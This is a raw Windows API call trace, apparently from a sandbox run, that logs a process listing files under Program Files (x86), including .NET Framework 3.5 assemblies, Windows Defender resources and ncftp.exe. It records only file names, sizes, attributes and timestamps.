[0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46a196b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44fea48, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44fea48, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6488e03, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6488e03, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6488e03, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64d50c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6521384, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6521384, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65b9905, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65b9905, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46a196b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46a196b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46c7acc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0259.159] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0259.160] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e608f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x8e608f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x8e62f07c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0259.160] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0259.160] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0259.160] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0259.160] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0259.160] GetProcessHeap () returned 0x550000 [0259.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0259.160] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0259.160] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0259.160] GetProcessHeap () returned 0x550000 [0259.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0259.161] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0259.161] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.162] GetProcessHeap () returned 0x550000 [0259.162] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.162] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0259.162] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.162] GetProcessHeap () returned 0x550000 [0259.162] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.162] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8907f814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8907f814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0259.162] GetProcessHeap () returned 0x550000 [0259.162] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8907f814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8907f814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0259.162] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8907f814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8907f814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.162] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8907f814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8907f814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.162] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.162] GetProcessHeap () returned 0x550000 [0259.162] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.162] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbdbb080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbdbb080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0259.162] GetProcessHeap () returned 0x550000 [0259.163] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbdbb080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbdbb080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0259.168] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbdbb080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbdbb080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.168] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0259.168] GetProcessHeap () returned 0x550000 [0259.168] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.169] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.169] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0259.169] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0259.169] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 0 [0259.169] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.169] GetProcessHeap () returned 0x550000 [0259.169] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.169] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcc1c145, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdcc1c145, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0259.169] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7732a07, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7732a07, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0259.169] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9910bf, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde9910bf, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ac13ba0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0259.169] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe6c321, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbe6c321, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x6c6758d0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0259.170] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a207800, ftCreationTime.dwHighDateTime=0x1d5719b, ftLastAccessTime.dwLowDateTime=0xed9a0980, ftLastAccessTime.dwHighDateTime=0x1d5e441, ftLastWriteTime.dwLowDateTime=0xed9a0980, ftLastWriteTime.dwHighDateTime=0x1d5e441, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1 